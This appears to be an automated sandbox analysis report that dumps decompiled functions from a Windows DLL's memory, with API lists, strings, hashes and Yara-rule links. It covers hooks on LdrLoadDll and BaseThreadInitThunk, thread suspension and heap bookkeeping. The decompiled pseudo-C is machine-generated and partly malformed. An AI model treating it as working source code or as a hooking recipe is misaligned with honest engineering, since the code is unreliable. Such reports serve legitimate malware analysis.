Opcode Fuzzy Hash: c954d57fd14a2f157bebc5af1e1aaed40c62cd70afe60fc0321b8803292b28ae
Instruction Fuzzy Hash: 284184719053999FDB219F25CC48FEEB7B8EF4A300F0448AEE599A7241DBB16944CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6D862070, Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 62
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D862070(intOrPtr _a4) {
				void* _t2;
				struct HINSTANCE__* _t7;

				if( *0x6d88019c == 0) {
					 *0x6d880198 = _a4;
					 *0x6d88019c = 1;
					GetModuleHandleA("user32.dll");
					_t18 =  !=  ? 1 :  *0x6d88019e & 0x000000ff;
					 *0x6d88019e =  !=  ? 1 :  *0x6d88019e & 0x000000ff;
					if( *0x6d880130 == 0) {
						 *0x6d880134 =  *0x6d880134 & 0x00000000;
						_t32 =  *0x6d880134;
						_t11 = "ntdll.dll";
						 *0x6d880130 = "ntdll.dll";
						E6D8623EE(0x6d8800d8,  *0x6d880134, _t11);
					}
					E6D862411(_t32);
					E6D861D2F(0x6d8800d8, "LdrLoadDll", E6D862BE0, 0x6d8801a0);
					_t21 =  ==  ? 1 :  *0x6d88019d & 0x000000ff;
					 *0x6d88019d =  ==  ? 1 :  *0x6d88019d & 0x000000ff;
					if( *0x6d88019e == 0) {
						LoadLibraryW(L"user32.dll");
					}
					if( *0x6d880190 == 0) {
						 *0x6d880194 =  *0x6d880194 & 0x00000000;
						_t8 = "kernel32.dll";
						 *0x6d880190 = "kernel32.dll";
						E6D8623EE(0x6d880138,  *0x6d880194, _t8);
					}
					_t7 = GetModuleHandleW(L"WRusr.dll");
					if(_t7 == 0) {
						_t7 = E6D861D2F(0x6d880138, "BaseThreadInitThunk", E6D862B50, 0x6d8800cc);
					}
					return _t7;
				}
				return _t2;
			}

0x6d86207a
0x6d862087
0x6d862092
0x6d862098
0x6d8620ac
0x6d8620b6
0x6d8620bc
0x6d8620be
0x6d8620be
0x6d8620c5
0x6d8620cd
0x6d8620d2
0x6d8620d2
0x6d8620d7
0x6d8620ed
0x6d8620fb
0x6d862105
0x6d86210b
0x6d862112
0x6d862112
0x6d862124
0x6d862126
0x6d86212d
0x6d862135
0x6d86213a
0x6d86213a
0x6d862144
0x6d86214c
0x6d86215f
0x6d86215f
0x00000000
0x6d862165
0x6d862167

APIs

GetModuleHandleA.KERNEL32(user32.dll), ref: 6D862098
LoadLibraryW.KERNEL32(user32.dll,LdrLoadDll,6D862BE0,6D8801A0), ref: 6D862112
GetModuleHandleW.KERNEL32(WRusr.dll,LdrLoadDll,6D862BE0,6D8801A0), ref: 6D862144

Part of subcall function 6D8623EE: LoadLibraryExA.KERNEL32(?,00000000,00000000,6D880138,?,6D86213F,kernel32.dll,LdrLoadDll,6D862BE0,6D8801A0), ref: 6D862404

Strings

LdrLoadDll, xrefs: 6D8620E6
kernel32.dll, xrefs: 6D86212D, 6D862132
user32.dll, xrefs: 6D86208D
BaseThreadInitThunk, xrefs: 6D862158
user32.dll, xrefs: 6D86210D
ntdll.dll, xrefs: 6D8620C5, 6D8620CA
WRusr.dll, xrefs: 6D86213F

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLibraryLoadModule
String ID: BaseThreadInitThunk$LdrLoadDll$WRusr.dll$kernel32.dll$ntdll.dll$user32.dll$user32.dll
API String ID: 4133054770-3884310913
Opcode ID: 42fce76916d13ac7102b168d724e6f23fec7cdeff8de38ced1745abc545aa42b
Instruction ID: a0ed09fdee9c7776c79d9ce30b65c127a3497137c47f4def7e6de878411bc6e5
Opcode Fuzzy Hash: 42fce76916d13ac7102b168d724e6f23fec7cdeff8de38ced1745abc545aa42b
Instruction Fuzzy Hash: BF11966851A2D49FDF119BAE88ADB3D3AB4570B73BF410C58E64996207C72C9C48C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6D86B090, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 74
synchronizationthreadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E6D86B090(void* __ecx, void* __edi, void* _a4) {
				intOrPtr _v20;
				char _v32;
				void* __ebx;
				void* __esi;
				void* _t15;
				intOrPtr* _t27;
				void* _t28;
				void* _t29;
				intOrPtr _t31;

				_t29 = __edi;
				_t28 = __ecx;
				 *0x6d881020( &_v32, 0, 0x400, 0x400, 0);
				SetEvent(_a4);
				_t27 =  *0x6d881028;
				_t15 =  *_t27( &_v32, 0xffffffff, 0, 0);
				if(_t15 != 0) {
					do {
						if(_t15 != 0xffffffff) {
							_t31 = _v20;
							if(_t31 != 0) {
								if(WaitForSingleObject( *(_t31 + 0x10), 0xffffffff) != 0) {
									E6D86ADB0(_t28, "WaitForSingleObject");
									_pop(_t28);
								}
								if(SuspendThread( *(_t31 + 8)) != 0xffffffff) {
									E6D86AEA2(_t27, _t28, _t29, _t31, _t31);
									_pop(_t28);
									if(ResumeThread( *(_t31 + 8)) == 0xffffffff) {
										_push("ThreadResume");
										goto L11;
									}
								} else {
									_push("ThreadSuspend");
									L11:
									E6D86ADB0(_t28);
									_pop(_t28);
								}
								SetEvent( *(_t31 + 0x14));
							}
						} else {
							E6D86ADB0(_t28, "GetMessage");
							_pop(_t28);
						}
						_t15 =  *_t27( &_v32, 0xffffffff, 0, 0);
					} while (_t15 != 0);
				}
				return 0;
			}

0x6d86b090
0x6d86b090
0x6d86b0a6
0x6d86b0af
0x6d86b0b7
0x6d86b0c3
0x6d86b0c7
0x6d86b0ce
0x6d86b0d1
0x6d86b0e0
0x6d86b0e5
0x6d86b0f4
0x6d86b0fb
0x6d86b100
0x6d86b100
0x6d86b10d
0x6d86b117
0x6d86b11c
0x6d86b129
0x6d86b12b
0x00000000
0x6d86b12b
0x6d86b10f
0x6d86b10f
0x6d86b130
0x6d86b130
0x6d86b135
0x6d86b135
0x6d86b139
0x6d86b139
0x6d86b0d3
0x6d86b0d8
0x6d86b0dd
0x6d86b0dd
0x6d86b149
0x6d86b14b
0x6d86b153
0x6d86b15a

APIs

SetEvent.KERNEL32(?), ref: 6D86B0AF
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6D86B0EC
SuspendThread.KERNEL32(?), ref: 6D86B104
SetEvent.KERNEL32(?), ref: 6D86B139

Part of subcall function 6D86ADB0: GetLastError.KERNEL32(00000000,?,6D86A707,CreateThread), ref: 6D86ADB4
Part of subcall function 6D86ADB0: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,?,6D86A707,CreateThread), ref: 6D86ADCE
Part of subcall function 6D86ADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,### ERROR: %s: %s,6D86A707,00000000,?,6D86A707), ref: 6D86ADEC
Part of subcall function 6D86ADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,6D86A707), ref: 6D86ADFB
Part of subcall function 6D86ADB0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D86AE02
Part of subcall function 6D86ADB0: LocalFree.KERNEL32(?), ref: 6D86AE0E

Strings

ThreadResume, xrefs: 6D86B12B
GetMessage, xrefs: 6D86B0D3
ThreadSuspend, xrefs: 6D86B10F
WaitForSingleObject, xrefs: 6D86B0F6

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Event__acrt_iob_func$ErrorFormatFreeLastLocalMessageObjectSingleSuspendThreadWaitfflush
String ID: GetMessage$ThreadResume$ThreadSuspend$WaitForSingleObject
API String ID: 2561815822-938678159
Opcode ID: 6fced90405c23885d332eec2f45034d1bbbf35bfd9eeb103798b15c222c2f3a0
Instruction ID: d9cdb26bcd83bdfe3e7eac432aa9d228d4d9860c874540dc41e9421efa24e7a8
Opcode Fuzzy Hash: 6fced90405c23885d332eec2f45034d1bbbf35bfd9eeb103798b15c222c2f3a0
Instruction Fuzzy Hash: F011847150416A7BDB116FB8CC8DFAE7779AB06379F104B15F634921D0DB20E8418675

Uniqueness

Uniqueness Score: -1.00%

Function 6D86585A, Relevance: 15.2, APIs: 9, Strings: 1, Instructions: 249
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E6D86585A(intOrPtr __ecx, signed int __edx, void* _a8, intOrPtr _a12) {
				void* _v0;
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr _v36;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t61;
				void* _t62;
				void* _t65;
				void* _t73;
				intOrPtr _t78;
				void* _t81;
				intOrPtr* _t88;
				void* _t95;
				void* _t98;
				signed int _t101;
				void* _t107;
				void* _t113;
				intOrPtr _t115;
				intOrPtr _t116;
				void* _t118;
				void* _t119;
				intOrPtr _t126;
				intOrPtr _t144;
				signed int _t147;
				intOrPtr _t148;
				void* _t151;
				intOrPtr _t154;
				void* _t157;
				struct _CRITICAL_SECTION* _t158;
				intOrPtr _t160;
				void* _t165;
				void* _t169;
				intOrPtr* _t170;

				_t141 = __edx;
				_t121 = __ecx;
				if(_a8 > 0xff000) {
					_pop(_t164);
					_t165 = _t169;
					_t170 = _t169 - 0x20;
					_t113 = _a8;
					_t154 = _a12;
					_t144 = __ecx;
					_v8 = __ecx;
					__eflags = _t154 - 0xff000;
					if(_t154 <= 0xff000) {
						L19:
						_t61 = E6D86559C(_t141, _t113, 0x100000, 0);
						_a8 = _t61;
						__eflags = _t61;
						if(_t61 == 0) {
							goto L12;
						} else {
							__eflags = _t113 - _t154;
							_t156 =  <  ? _t113 : _t154;
							_t157 = _v0;
							memcpy(_t61, _t157,  <  ? _t113 : _t154);
							_push(_t144);
							_t65 = _t157 & 0x000fffff;
							__eflags = _t65;
							if(_t65 == 0) {
								E6D86815E(_t113, _t141, _t144, _t157, _t157);
							} else {
								_push(_t65);
								_push(_t157);
								E6D867822(_t121);
							}
							_t62 = _a8;
						}
						goto L24;
					} else {
						_t5 = _t113 + 0xfffff; // 0x1fefff
						_t141 = _t5 ^ _t154 + 0x000fffff;
						__eflags = _t141 & 0xfff00000;
						if((_t141 & 0xfff00000) != 0) {
							goto L19;
						} else {
							_t9 = _t113 + 0xfff; // 0xfffff
							_t147 = _t9 & 0xfffff000;
							__eflags = _t113 - _t154;
							if(_t113 < _t154) {
								_t95 = _v0 + _t113;
								__eflags = _t95;
								memset(_t95, 0xe5, _t154 - _t113);
								_t170 = _t170 + 0xc;
							}
							__eflags = _t147 - _t154;
							if(__eflags >= 0) {
								if(__eflags <= 0) {
									goto L18;
								} else {
									_t73 = E6D868B36(_v0 + _t154, _t147 - _t154);
									__eflags = _t73;
									if(_t73 != 0) {
										_t115 = _v12;
										goto L14;
									} else {
										L12:
										_t62 = 0;
										goto L24;
									}
								}
							} else {
								_t118 = _v0;
								E6D868B8E(_t118, _t147, _t147 + _t118, _t154 - _t147);
								EnterCriticalSection(0x6d88028c);
								_v24 = _t118;
								_t88 = E6D86722B(0x6d8802a4,  &_a8,  &_v40);
								_t115 = _v12;
								_t126 =  *_t88;
								__eflags =  *((intOrPtr*)(_t126 + 0x18)) - _t115;
								if( *((intOrPtr*)(_t126 + 0x18)) != _t115) {
									E6D8690E5("MOZ_RELEASE_ASSERT(node->mArena == this)");
									asm("int3");
									 *_t170 = 0xe17;
									goto L26;
								} else {
									 *(_t126 + 0x14) = _t147;
									 *0x6d8802a8 =  *0x6d8802a8 + _t147 - _t154;
									LeaveCriticalSection(0x6d88028c);
									L14:
									__eflags = _t147 - _t154;
									if(_t147 <= _t154) {
										L18:
										_t62 = _v0;
										L24:
										return _t62;
									} else {
										EnterCriticalSection(0x6d88028c);
										_t126 = 0x6d8802a4;
										_v24 = _v0;
										_t78 =  *((intOrPtr*)(E6D86722B(0x6d8802a4,  &_a8,  &_v40)));
										__eflags =  *((intOrPtr*)(_t78 + 0x18)) - _t115;
										if( *((intOrPtr*)(_t78 + 0x18)) == _t115) {
											 *(_t78 + 0x14) = _t147;
											 *0x6d8802a8 =  *0x6d8802a8 + _t147 - _t154;
											__eflags =  *0x6d8802a8;
											LeaveCriticalSection(0x6d88028c);
											goto L18;
										} else {
											E6D8690E5("MOZ_RELEASE_ASSERT(node->mArena == this)");
											asm("int3");
											 *_t170 = 0xe30;
											L26:
											E6D868DD0();
											asm("int3");
											_push(_t165);
											_push(_t115);
											_t116 = _t126;
											_push(_t154);
											_push(_t147);
											_t158 = _t116 + 0xc;
											EnterCriticalSection(_t158);
											_t148 = _v40;
											_t81 = E6D8677A1(_t116, _v48, _v44, _v36, _t148, 1);
											_t37 = _t116 + 0x30;
											 *_t37 =  *(_t116 + 0x30) + _t148 - _v36;
											__eflags =  *_t37;
											LeaveCriticalSection(_t158);
											return _t81;
										}
									}
								}
							}
						}
					}
				} else {
					_pop(_t167);
					_push(_t112);
					_t119 = _a8;
					_push(_t153);
					_push(_t143);
					_v8 = __ecx;
					E6D8633B9( &_v16, __edx, _t119);
					_t160 = _a12;
					if(_t160 > 0xff000 || _v16 != _t160) {
						__eflags = _v20 - 3;
						_t151 = _v0;
						if(_v20 != 3) {
							L38:
							_t134 = _v12;
							_t98 = E6D864AA5(_v12, _t119, 0);
							_v0 = _t98;
							__eflags = _t98;
							if(_t98 != 0) {
								__eflags = _t119 - _t160;
								_t162 =  <  ? _t119 : _t160;
								memcpy(_t98, _t151,  <  ? _t119 : _t160);
								_push(_v12);
								_t101 = _t151 & 0x000fffff;
								__eflags = _t101;
								if(_t101 == 0) {
									E6D86815E(_t119, _t141, _t151, _t162, _t151);
								} else {
									_push(_t101);
									_push(_t151);
									E6D867822(_t134);
								}
								_t98 = _v0;
							}
						} else {
							_t48 = _t160 - 0x801; // -2049
							__eflags = _t48 - 0xfe7ff;
							if(_t48 > 0xfe7ff) {
								goto L38;
							} else {
								_t106 = _t151 & 0xfff00000;
								_v0 = _t151 & 0xfff00000;
								__eflags = _v16 - _t160;
								if(_v16 >= _t160) {
									_t107 = E6D865872(_v12, _t106, _t151, _v16, _t160);
									__eflags = _t107;
									if(_t107 != 0) {
										goto L32;
									} else {
										goto L38;
									}
								} else {
									memset(_t151 + _t119, 0xe5, _t160 - _t119);
									_push(_t160);
									_push(_v16);
									_push(_t151);
									_push(_v0);
									L27();
									goto L32;
								}
							}
						}
					} else {
						_t151 = _v0;
						if(_t119 < _t160) {
							memset(_t151 + _t119, 0xe5, _t160 - _t119);
						}
						L32:
						_t98 = _t151;
					}
					return _t98;
				}
			}

0x6d86585a
0x6d86585a
0x6d865864
0x6d86586c
0x6d86591c
0x6d86591e
0x6d865922
0x6d865926
0x6d86592a
0x6d86592c
0x6d86592f
0x6d865935
0x6d865a60
0x6d865a68
0x6d865a6d
0x6d865a70
0x6d865a72
0x00000000
0x6d865a74
0x6d865a74
0x6d865a76
0x6d865a7a
0x6d865a7f
0x6d865a89
0x6d865a8a
0x6d865a8a
0x6d865a8f
0x6d865a9e
0x6d865a91
0x6d865a91
0x6d865a92
0x6d865a93
0x6d865a98
0x6d865aa5
0x6d865aa5
0x00000000
0x6d86593b
0x6d86593b
0x6d865947
0x6d865949
0x6d86594f
0x00000000
0x6d865955
0x6d865955
0x6d86595b
0x6d865961
0x6d865963
0x6d86596d
0x6d86596d
0x6d865975
0x6d86597a
0x6d86597a
0x6d86597d
0x6d86597f
0x6d8659dc
0x00000000
0x6d8659de
0x6d8659e9
0x6d8659f0
0x6d8659f2
0x6d8659fb
0x00000000
0x6d8659f4
0x6d8659f4
0x6d8659f4
0x00000000
0x6d8659f4
0x6d8659f2
0x6d865981
0x6d865981
0x6d86598d
0x6d865999
0x6d8659a2
0x6d8659af
0x6d8659b4
0x6d8659b7
0x6d8659b9
0x6d8659bc
0x6d865ab6
0x6d865abb
0x6d865abc
0x00000000
0x6d8659c2
0x6d8659c4
0x6d8659c9
0x6d8659d4
0x6d8659fe
0x6d8659fe
0x6d865a00
0x6d865a5b
0x6d865a5b
0x6d865aa8
0x6d865aae
0x6d865a02
0x6d865a07
0x6d865a10
0x6d865a15
0x6d865a25
0x6d865a27
0x6d865a2a
0x6d865a45
0x6d865a4a
0x6d865a4a
0x6d865a55
0x00000000
0x6d865a2c
0x6d865a31
0x6d865a36
0x6d865a37
0x6d865ac3
0x6d865ac3
0x6d865ac8
0x6d865ac9
0x6d865acc
0x6d865acd
0x6d865acf
0x6d865ad0
0x6d865ad1
0x6d865ad5
0x6d865adb
0x6d865aec
0x6d865af4
0x6d865af4
0x6d865af4
0x6d865af8
0x6d865b02
0x6d865b02
0x6d865a2a
0x6d865a00
0x6d8659bc
0x6d86597f
0x6d86594f
0x6d865866
0x6d865866
0x6d865b0b
0x6d865b0c
0x6d865b0f
0x6d865b10
0x6d865b11
0x6d865b18
0x6d865b1d
0x6d865b26
0x6d865b4f
0x6d865b53
0x6d865b56
0x6d865bae
0x6d865bae
0x6d865bb4
0x6d865bb9
0x6d865bbc
0x6d865bbe
0x6d865bc0
0x6d865bc2
0x6d865bc8
0x6d865bd2
0x6d865bd5
0x6d865bd5
0x6d865bda
0x6d865be9
0x6d865bdc
0x6d865bdc
0x6d865bdd
0x6d865bde
0x6d865be3
0x6d865bf0
0x6d865bf0
0x6d865b58
0x6d865b58
0x6d865b5e
0x6d865b63
0x00000000
0x6d865b65
0x6d865b67
0x6d865b6c
0x6d865b6f
0x6d865b72
0x6d865ba5
0x6d865baa
0x6d865bac
0x00000000
0x00000000
0x00000000
0x00000000
0x6d865b74
0x6d865b82
0x6d865b8d
0x6d865b8e
0x6d865b91
0x6d865b92
0x6d865b95
0x00000000
0x6d865b95
0x6d865b72
0x6d865b63
0x6d865b2d
0x6d865b2d
0x6d865b32
0x6d865b40
0x6d865b45
0x6d865b48
0x6d865b48
0x6d865b48
0x6d865bf9
0x6d865bf9

APIs

memset.VCRUNTIME140(000FF000,000000E5,?,?,00000000,00000000), ref: 6D865975
EnterCriticalSection.KERNEL32(6D88028C,?,00000000,00000000), ref: 6D865999
LeaveCriticalSection.KERNEL32(6D88028C,?,?,?,00000000,00000000), ref: 6D8659D4
EnterCriticalSection.KERNEL32(6D88028C,?,00000000,00000000), ref: 6D865A07
memset.VCRUNTIME140(?,000000E5,00000000,000FF000,?,00000000,00000000), ref: 6D865B40
memset.VCRUNTIME140(?,000000E5,00000000,000FF000,?,00000000,00000000), ref: 6D865B82
memcpy.VCRUNTIME140(00000000,000FF000,00000000,000FF000,00000000,000FF000,?,00000000,00000000), ref: 6D865BC8

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6D865A2C, 6D865AB1

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSectionmemset$Enter$Leavememcpy
String ID: MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 573577806-1897864727
Opcode ID: 1ef2401027d8fd88ecee476a226ef1123110d7f60656afe24e47b4ab07cb3236
Instruction ID: 97e218e54909bcc38e0df820046f7e2a458be67c6035d5b75ab962a1c210fe7c
Opcode Fuzzy Hash: 1ef2401027d8fd88ecee476a226ef1123110d7f60656afe24e47b4ab07cb3236
Instruction Fuzzy Hash: 0C71E172908389ABCB119E59DC8CABE7778EF45371F114869F9099B242DB309A40C7F1

Uniqueness

Uniqueness Score: -1.00%

Function 6D86847D, Relevance: 15.2, APIs: 9, Strings: 1, Instructions: 177
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6D86847D(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a4) {
				signed int _v8;
				intOrPtr _v12;
				char _v364;
				char _v716;
				signed int _v720;
				intOrPtr _v724;
				intOrPtr _v728;
				char _v732;
				intOrPtr _v736;
				char _v740;
				void* _v744;
				intOrPtr _v748;
				intOrPtr _v752;
				signed int _v756;
				signed int _v760;
				intOrPtr _v764;
				char _v772;
				signed int _t101;
				void* _t104;
				intOrPtr _t105;
				intOrPtr _t106;
				intOrPtr _t107;
				signed int _t113;
				intOrPtr _t125;
				intOrPtr _t130;
				signed int _t132;
				void* _t143;
				intOrPtr _t144;
				intOrPtr _t146;
				signed int* _t148;
				signed int _t155;
				signed int _t162;
				intOrPtr _t163;
				intOrPtr _t164;
				signed int _t169;
				intOrPtr _t170;
				void* _t172;
				signed int _t173;
				void* _t174;
				struct _CRITICAL_SECTION* _t178;
				signed int _t180;

				_t174 = __esi;
				_t143 = __ebx;
				_t101 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t101 ^ _t180;
				_t172 = _a4;
				_v744 = _t172;
				if(_t172 != 0) {
					if( *0x6d8801e4 != 0) {
						_t104 = 1;
					} else {
						_t104 = L6D8687CF(__ecx, _t172);
					}
					if(_t104 != 0) {
						_t105 =  *0x6d880008; // 0x100
						_push(_t143);
						_push(_t174);
						 *_t172 = 0;
						 *((intOrPtr*)(_t172 + 8)) = 0x10;
						 *((intOrPtr*)(_t172 + 0xc)) = 0x200;
						 *((intOrPtr*)(_t172 + 0x10)) = 0xff000;
						 *(_t172 + 0x14) = 0x100000;
						 *((intOrPtr*)(_t172 + 0x18)) = 0x1000;
						 *((intOrPtr*)(_t172 + 0x1c)) = _t105;
						 *((intOrPtr*)(_t172 + 4)) = 0;
						 *(_t172 + 0x20) = 0;
						 *((intOrPtr*)(_t172 + 0x24)) = 0;
						 *((intOrPtr*)(_t172 + 0x28)) = 0;
						 *((intOrPtr*)(_t172 + 0x2c)) = 0;
						 *((intOrPtr*)(_t172 + 0x30)) = 0;
						 *((intOrPtr*)(_t172 + 0x34)) = 0;
						EnterCriticalSection(0x6d88028c);
						_t106 =  *0x6d8802a8; // 0x0
						_t144 =  *0x6d8802ac; // 0x0
						 *((intOrPtr*)(_t172 + 0x24)) =  *((intOrPtr*)(_t172 + 0x24)) + _t106;
						LeaveCriticalSection(0x6d88028c);
						EnterCriticalSection(0x6d8802c4);
						_t107 =  *0x6d8802e0; // 0x0
						 *((intOrPtr*)(_t172 + 0x30)) =  *((intOrPtr*)(_t172 + 0x30)) + _t107;
						_v764 = _t144 +  *0x6d8802dc;
						LeaveCriticalSection(0x6d8802c4);
						EnterCriticalSection(0x6d880228);
						E6D86335E( &_v364, 0x6d880248);
						_v12 = 0x6d88024c;
						_t146 =  *((intOrPtr*)(E6D867B92( &_v364,  &_v772) + 4));
						while(_t146 != 0) {
							_t27 = _t146 + 0xc; // 0xc
							_t178 = _t27;
							_v728 = 0;
							_v724 = 0;
							EnterCriticalSection(_t178);
							_v748 =  *((intOrPtr*)(_t146 + 0x24));
							_v760 =  *(_t146 + 0x28) << 0xc;
							_v752 =  *((intOrPtr*)(_t146 + 0x30)) +  *((intOrPtr*)(_t146 + 0x2c));
							_t148 = _t146 + 0x50;
							_v756 =  *(_t146 + 0x3c) << 0xc;
							_v732 = 0x23;
							do {
								_v720 = _v720 & 0x00000000;
								_t42 = _t148 - 4; // -84
								E6D863304( &_v716, _t42);
								E6D867B92( &_v716,  &_v740);
								_t125 = _v736;
								_t173 = _v720;
								while(_v740 !=  &_v716 || _t125 != 0) {
									_t52 = ( *(_t125 + 8) & 0xfffff000) + 8; // 0x0
									_t173 = _t173 +  *_t52 *  *_t148;
									_t125 = E6D8653B5(_v740);
								}
								_v736 = _t125;
								_t162 = _t173;
								_t130 =  *((intOrPtr*)(_t148 - 8));
								_v720 = _t173;
								if(_t130 != 0) {
									_t56 = _t130 + 8; // 0x0
									_t162 = _t162 +  *_t56 *  *_t148;
								}
								_t132 = _t148[5] * _t148[4];
								_t148 =  &(_t148[8]);
								_v724 = _v724 + _t162;
								_v728 = _v728 + _t132;
								_t63 =  &_v732;
								 *_t63 = _v732 - 1;
							} while ( *_t63 != 0);
							LeaveCriticalSection(_t178);
							_t172 = _v744;
							_t169 = _v756;
							_t163 = _v752;
							 *(_t172 + 0x20) =  *(_t172 + 0x20) + _v748;
							 *((intOrPtr*)(_t172 + 0x2c)) =  *((intOrPtr*)(_t172 + 0x2c)) + _t169;
							 *((intOrPtr*)(_t172 + 0x24)) =  *((intOrPtr*)(_t172 + 0x24)) + _t163;
							_t170 = _v724;
							_t164 = _v728;
							 *((intOrPtr*)(_t172 + 0x30)) =  *((intOrPtr*)(_t172 + 0x30)) + _t164;
							 *((intOrPtr*)(_t172 + 0x28)) =  *((intOrPtr*)(_t172 + 0x28)) + _v760 - _t169 - _t163 - _t170 - _t164;
							 *((intOrPtr*)(_t172 + 0x34)) =  *((intOrPtr*)(_t172 + 0x34)) + _t170;
							 *((intOrPtr*)(_t172 + 4)) =  *((intOrPtr*)(_t172 + 4)) + 1;
							_t146 = E6D8654B3( &_v364);
						}
						LeaveCriticalSection(0x6d880228);
						_t155 =  *(_t172 + 0x20);
						_t113 = _t155 /  *(_t172 + 0x14) << 0xc;
						 *((intOrPtr*)(_t172 + 0x30)) =  *((intOrPtr*)(_t172 + 0x30)) + _t113;
						 *((intOrPtr*)(_t172 + 0x28)) =  *((intOrPtr*)(_t172 + 0x28)) - _t113;
						 *(_t172 + 0x20) = _t155 + _v764;
					} else {
						memset(_t172, 0, 0x38);
					}
				}
				return E6D8770C0(_v8 ^ _t180);
			}

0x6d86847d
0x6d86847d
0x6d868486
0x6d86848d
0x6d868491
0x6d868494
0x6d86849c
0x6d8684a9
0x6d8684b2
0x6d8684ab
0x6d8684ab
0x6d8684ab
0x6d8684b6
0x6d8684ca
0x6d8684d1
0x6d8684d2
0x6d8684d8
0x6d8684dc
0x6d8684e3
0x6d8684ea
0x6d8684f1
0x6d8684f8
0x6d8684ff
0x6d868502
0x6d868505
0x6d868508
0x6d86850b
0x6d86850e
0x6d868511
0x6d868514
0x6d868517
0x6d86851d
0x6d868522
0x6d868528
0x6d868532
0x6d868539
0x6d868545
0x6d86854a
0x6d868552
0x6d868558
0x6d86855f
0x6d868570
0x6d86857b
0x6d86858e
0x6d868591
0x6d86859b
0x6d86859b
0x6d8685a0
0x6d8685a7
0x6d8685ad
0x6d8685b6
0x6d8685c2
0x6d8685ce
0x6d8685da
0x6d8685dd
0x6d8685e3
0x6d8685ed
0x6d8685ed
0x6d8685f4
0x6d8685fe
0x6d868610
0x6d868615
0x6d86861b
0x6d868621
0x6d868641
0x6d868647
0x6d868649
0x6d868649
0x6d868650
0x6d868656
0x6d868658
0x6d86865b
0x6d868663
0x6d868665
0x6d86866b
0x6d86866b
0x6d868670
0x6d868674
0x6d868677
0x6d86867d
0x6d868683
0x6d868683
0x6d868683
0x6d868697
0x6d868699
0x6d8686a5
0x6d8686ab
0x6d8686b1
0x6d8686ba
0x6d8686bf
0x6d8686c4
0x6d8686cc
0x6d8686d4
0x6d8686dd
0x6d8686e0
0x6d8686e3
0x6d8686eb
0x6d8686eb
0x6d8686f7
0x6d8686f9
0x6d86870a
0x6d86870d
0x6d868710
0x6d868713
0x6d8684b8
0x6d8684bd
0x6d8684c2
0x6d8684b6
0x6d868725

APIs

memset.VCRUNTIME140(?,00000000,00000038), ref: 6D8684BD

Part of subcall function 6D8689D9: AcquireSRWLockExclusive.KERNEL32(6D8801DC,00000001,00000000,00000000,?,6D86875F,6D8800D8,00000001,?,6D868F13,?,?,?,6D86930B,?), ref: 6D8687DA
Part of subcall function 6D8689D9: ReleaseSRWLockExclusive.KERNEL32(6D8801DC,?,6D86875F,6D8800D8,00000001,?,6D868F13,?,?,?,6D86930B,?,?,6D862424,00000008), ref: 6D868985

EnterCriticalSection.KERNEL32(6D88028C), ref: 6D868517
LeaveCriticalSection.KERNEL32(6D88028C), ref: 6D868532
EnterCriticalSection.KERNEL32(6D8802C4), ref: 6D868539
LeaveCriticalSection.KERNEL32(6D8802C4), ref: 6D868558
EnterCriticalSection.KERNEL32(6D880228), ref: 6D86855F
EnterCriticalSection.KERNEL32(00000200,?,6D880248), ref: 6D8685AD
LeaveCriticalSection.KERNEL32(00000200,?), ref: 6D868697
LeaveCriticalSection.KERNEL32(6D880228,?,6D880248), ref: 6D8686F7

Strings

#, xrefs: 6D8685E3

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave$ExclusiveLock$AcquireReleasememset
String ID: #
API String ID: 2436067299-1885708031
Opcode ID: 1c6d6e85c9d555e6c4b6774a1454bf208469012904fc2418a2baf871eeda5d87
